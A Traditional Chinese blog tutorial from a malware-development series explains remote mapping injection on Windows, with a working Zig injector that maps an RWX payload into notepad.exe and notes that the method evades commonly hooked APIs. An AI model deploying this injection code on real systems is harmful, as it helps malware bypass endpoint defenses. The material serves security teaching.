哈囉大家!
昨天和大家介紹了遠端進程的線程劫持,今天要來介紹 Mapping injection,中文我也不太確定是什麼應該是什麼映射注入之類的吧 XD。
蜥蜴寶寶,上車囉!來囉來囉!
完整程式碼可於此處找到:https://black-hat-zig.cx330.tw/Advanced-Malware-Techniques/Process-Injection/Mapping-Injection/remote_mapping_injection/
中華民國刑法第 362 條:「製作專供犯本章之罪之電腦程式,而供自己或他人犯本章之罪,致生損害於公眾或他人者,處五年以下有期徒刑、拘役或科或併科六十萬元以下罰金。」
本系列文章涉及多種惡意程式的技術,旨在提升個人技術能力與資安意識。本人在此強烈呼籲讀者,切勿使用所學到的知識與技術從事任何違法行為!
本系列文章中使用的 Zig 版本號為 0.14.1。
Mapping injection 也是一種進程記憶體的注入技術,和以往注入方式的差別在於,它並非使用遠端進程的私有記憶體(使用 VirtualAlloc/Ex
分配的記憶體)來存放 Payload。相反的,它會建立一塊 Section 或是 File mapping 物件(File mapping object),然後再把該物件的 Mapping View 掛到目標進程的虛擬記憶體裡,讓那一塊記憶體內容在我們的注入程式(Injector)跟目標進程(Target Process)中都同時可見,並共用這塊記憶體。最後再從目標進程去執行 Payload。
簡單來說,就是讓使用 Mapping-View 來達成兩個進程間的通訊(Inter Process Communication, IPC),以此來把 Payload 放上目標進程的一個技術。下圖說明了這個技術的攻擊原理。
利用這種技術可以避免使用一些經常被安全解決方案給 Hook 的記憶體操作函數,像是 WriteProcessMemory
或是 VirtualAllocEx
等等。
整個流程的步驟大概是這樣:
CreateFileMapping
來建立 File mapping 物件MapViewOfFile
來把 File mapping 物件映射到本地進程的地址空間MapViewOfFile2
把本地的檔案視圖映射到遠端的目標進程,以把我們的 Payload 複製到遠端UnmapViewOfFile
把映射的記憶體解除掉那接下來我們來看看這些 Windows API 吧!
這個函數會創建一個 File mapping 物件,它允許把記憶體或磁碟檔案的內容映射到進程的虛擬記憶體空間上。這個函數會回傳一個 File mapping 物件的句柄。我們來看看微軟的文檔。
HANDLE CreateFileMappingA(
[in] HANDLE hFile,
[in, optional] LPSECURITY_ATTRIBUTES lpFileMappingAttributes, // Not Required - null
[in] DWORD flProtect,
[in] DWORD dwMaximumSizeHigh, // Not Required - null
[in] DWORD dwMaximumSizeLow,
[in, optional] LPCSTR lpName // Not Required - null
);
其中幾個參數不重要,可以傳入 null
,它需要的三個參數如下。
hFile
INVALID_HANDLE_VALUE
即可,這會允許本函數在不使用硬碟上的文件的情況下,從記憶體建立一個 File mapping 物件hFile
是 INVALID_HANDLE_VALUE
,則呼叫過程還必須在 dwMaximumSizeHigh
和 dwMaximumSizeLow
參數中指定 File mapping 物件的大小。這樣 CreateFileMapping
會建立一個指定大小的 File mapping 物件,該物件由系統的分頁檔(paging file)支援,而不是由檔案系統中的某個文件所支援flProtect
PAGE_EXECUTE_READWRITE
,這並不會立刻建立一個 RWX
的 Section,只是指定讓我們待會可以建立dwMaximumSizeLow
這個函數會將 File mapping 物件的視圖映射到進程的地址空間中。它接收 File mapping 物件的句柄和需要的權限,並會回傳一個指向該映射(Mapping)在進程位址空間起始位置的指針。
LPVOID MapViewOfFile(
[in] HANDLE hFileMappingObject,
[in] DWORD dwDesiredAccess,
[in] DWORD dwFileOffsetHigh, // Not Required - null
[in] DWORD dwFileOffsetLow, // Not Required - null
[in] SIZE_T dwNumberOfBytesToMap
);
需要的三個參數如下:
hFileMappingObject
CreateFileMapping
回傳的句柄dwDesiredAccess
PAGE_EXECUTE_READWRITE
,所以我們可以使用 FILE_MAP_EXECUTE
和 FILE_MAP_WRITE
來回傳一個可執行、可寫的記憶體(不過本例中是在遠端進行 Mapping injection,因此不需要將文件在本地映射的視圖設為可執行,只需要可寫就可以了,如果打算使用本地的 Mapping injection 才需要將其設置為可執行)CreateFileMapping
裡傳入 PAGE_READWRITE
,這裡就無法使用 FILE_MAP_EXECUTE
,因為嘗試從可讀和可寫的物件句柄中建立可執行的記憶體是不可能的dwNumberOfBytesToMap
剛剛的 MapViewOfFile
可以把 File mapping 物件的視圖映射到呼叫函數的位址空間(也就是本地進程的記憶體),而 MapViewOfFile2
則可以把某個檔案視圖映射到指定的遠端進程的地址空間中。我們一樣先來看一下微軟文檔的函數定義。
PVOID MapViewOfFile2(
[in] HANDLE FileMappingHandle, // Handle to the file mapping object returned by CreateFileMappingA/W
[in] HANDLE ProcessHandle, // Target process handle
[in] ULONG64 Offset, // Not required - null
[in, optional] PVOID BaseAddress, // Not required - null
[in] SIZE_T ViewSize, // Not required - null
[in] ULONG AllocationType, // Not required - null
[in] ULONG PageProtection // The desired page protection.
);
一樣來看一下一些必須傳入的參數。
FileMappingHandle
ProcessHandle
PROCESS_VM_OPERATION
的存取權限PageProtection
NOTE:
因為MapViewOfFile2
跟MapViewOfFile
會共享同一個 File mapping 的句柄,所以在本地對文件映射視圖做的任何修改都會反應到遠端進程中的文件映射視圖。這可以讓我們在實戰中寫惡意程式的時候把加密過的 Payload 映射到遠端,再於本地解密,然後在遠端執行解密過的 Payload。
這個函數可以把之前映射的記憶體給解除掉。記住,我們應該等到 Payload 執行完畢後才能呼叫它。所以當遠端進程的 Payload 還在運行的時候,我們不能使用 UnmapViewOfFile
來解除本地映射的 Payload,因為遠端的視圖是本地視圖映射過去的,所以解除本地的也會連帶解除遠端進程中的映射。
這個函數接收剛剛的 File mapping 的視圖的基址,我們看一下微軟的定義。
BOOL UnmapViewOfFile(
[in] LPCVOID lpBaseAddress
);
我們會把整個流程包裝為一個 remoteMapInject
的函數,會接收 3 個參數,分別是目標進程的句柄、Payload 的基址和一個指向 PVOID
的指針,用於接收映射記憶體的基址。
我們的這個函數會分配一個本地的可讀寫記憶體空間,然後把 Payload 複製過去。接下來,使用 MapViewOfFile2
把本地的 Payload 映射到遠端目標進程中的新緩衝區,最後返回映射的記憶體的基址。
fn remoteMapInject(hProcess: HANDLE, pPayload: []const u8, ppAddress: *?PVOID) bool {
var bState: bool = true;
var hFile: ?HANDLE = null;
var pMapLocalAddress: ?PVOID = null;
var pMapRemoteAddress: ?PVOID = null;
// Create a file mapping handle with `RWX` memory permissions
hFile = CreateFileMappingW(
INVALID_HANDLE_VALUE,
null,
PAGE_EXECUTE_READWRITE,
0,
@intCast(pPayload.len),
null,
);
if (hFile == null) {
print("\t[!] CreateFileMapping Failed With Error : {}\n", .{windows.kernel32.GetLastError()});
bState = false;
ppAddress.* = null;
return bState;
}
// Maps the view of the payload to the memory
// FILE_MAP_WRITE are the permissions of the file (payload) -
// since we only need to write (copy) the payload to it
pMapLocalAddress = MapViewOfFile(
hFile.?,
FILE_MAP_WRITE,
0,
0,
pPayload.len,
);
if (pMapLocalAddress == null) {
print("\t[!] MapViewOfFile Failed With Error : {}\n", .{windows.kernel32.GetLastError()});
bState = false;
ppAddress.* = null;
if (hFile) |handle| _ = CloseHandle(handle);
return bState;
}
print("\t[+] Local Mapping Address : 0x{X}\n", .{@intFromPtr(pMapLocalAddress.?)});
waitForEnter("\t[#] Press <Enter> To Write The Payload ... ");
print("\t[i] Copying Payload To 0x{X} ... ", .{@intFromPtr(pMapLocalAddress.?)});
// Copy payload to mapped memory
const dest = @as([*]u8, @ptrCast(pMapLocalAddress.?));
@memcpy(dest[0..pPayload.len], pPayload);
print("[+] DONE\n", .{});
// Maps the payload to a new remote buffer (in the target process)
// It is possible here to change the memory permissions to `RWX`
pMapRemoteAddress = MapViewOfFileNuma2(hFile.?, hProcess, 0, null, 0, 0, PAGE_EXECUTE_READWRITE, NUMA_NO_PREFERRED_NODE);
if (pMapRemoteAddress == null) {
print("\t[!] MapViewOfFile2 Failed With Error : {}\n", .{windows.kernel32.GetLastError()});
bState = false;
ppAddress.* = null;
if (hFile) |handle| _ = CloseHandle(handle);
return bState;
}
print("\t[+] Remote Mapping Address : 0x{X}\n", .{@intFromPtr(pMapRemoteAddress.?)});
ppAddress.* = pMapRemoteAddress;
if (hFile) |handle| _ = CloseHandle(handle);
return bState;
}
在這邊,我們設定我們的目標進程為 notepad.exe
,然後我們使用的依然是 MSFvenom 的小算盤 Payload。
下一步,我們把 Payload 寫入本地的映射記憶體,可以看到它的權限是 RW
的,因為我們不需要將在本地其設置為可執行,只需可寫。注意下圖中我們檢視的是本地進程(Injector)的記憶體,並非遠端記憶體。
我們如果查看遠端進程(Target process,在此例中為 Notepad)的記憶體,則會是 RWX
的權限,因為需要可以執行。
最後,我們執行它,就會看到彈出來的小算盤啦!
蜥蜴寶寶,下車囉!
今天和大家介紹了 Mapping injection 這個技術,明天我們會再來看一下其他的進程注入技術!
如果對惡意程式開發或是惡意程式分析有興趣的話,這個系列會很適合你!最後也感謝大家的閱讀,歡迎順手按讚留言訂閱轉發(轉發可以讓朋友們知道你都在讀這種很技術的文章,他們會覺得你好帥好強好電,然後開始裝弱互相吹捧)~明天見!